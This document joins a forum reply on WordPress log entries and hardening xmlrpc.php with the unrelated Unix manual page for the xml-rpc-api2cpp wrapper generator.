Hi,

Aside from perhaps the POST /xmlrpc.php entries, nothing there is jumping out at me as being majorly sinister (so long as the IP address from which the POST /wp-login.php originated was expected, naturally). There have been some longstanding issues with WordPress security around xmlrpc.php, in certain configurations.

If you'll never actually need the functionality it offers (which more or less revolves around letting you update your blog remotely via certain kinds of third-party and mobile apps), then you can probably safety disable access to that file.

All in all though, I think you've probably still to find your "smoking gun" here, to so speak.

Also, sorry to ask the same thing again, but it is rather important: are you sure there are currently no sinister or unexpected processes running on your server right now ?

xml-rpc-api2cpp

XML-RPC-API2CPP(1)					      General Commands Manual						XML-RPC-API2CPP(1)

NAME

       xml-rpc-api2cpp - Make a C++ wrapper class for an XML-RPC API

SYNOPSIS

       xml-rpc-api2cpp server-url remote-method-prefix c++-class-name

DESCRIPTION

       xml-rpc-api2cpp queries an XML-RPC server using the XML-RPC Instrospection API designed by Edd Dumbill.	It then prints a C++ wrapper class
       to standard output.  This class can be used with xmlrpc-c's C++ API.

       You can find a list of supported XML-RPC server libraries (and patches for many others) at http://xmlrpc-c.sourceforge.net/hacks.php.

OPTIONS

       server-url
	      The name of the server to query.	Try http://xmlrpc-c.sourceforge.net/cgi-bin/interop.cgi.

       remote-method-prefix
	      The prefix of the methods to wrap.  For example, to wrap all the system.* calls, you could specify "system".

       c++-class-name
	      The name of the C++ class to generate.  Try "SystemProxy".

BUGS

       xml-rpc-api2cpp can't talk to certain PHP servers based on Edd Dumbill's PHP library, because the trailing bytes of the XML-RPC message get
       truncated in HTTP pipelining mode.  It's not clear whether this is a PHP, Apache or w3c-libwww bug.

       xml-rpc-api2cpp assumes that method descriptions are ASCII text, not HTML as specified in the standard.	(In practice, both conventions are
       often seen.)  It may also get unhappy if method descriptions contain "*/".

       In general, error messages and diagnostics are still fairly poor.

SEE ALSO

       xmlrpc-c(7), xml-rpc-api2txt(1).

       This program is part of xmlrpc-c.
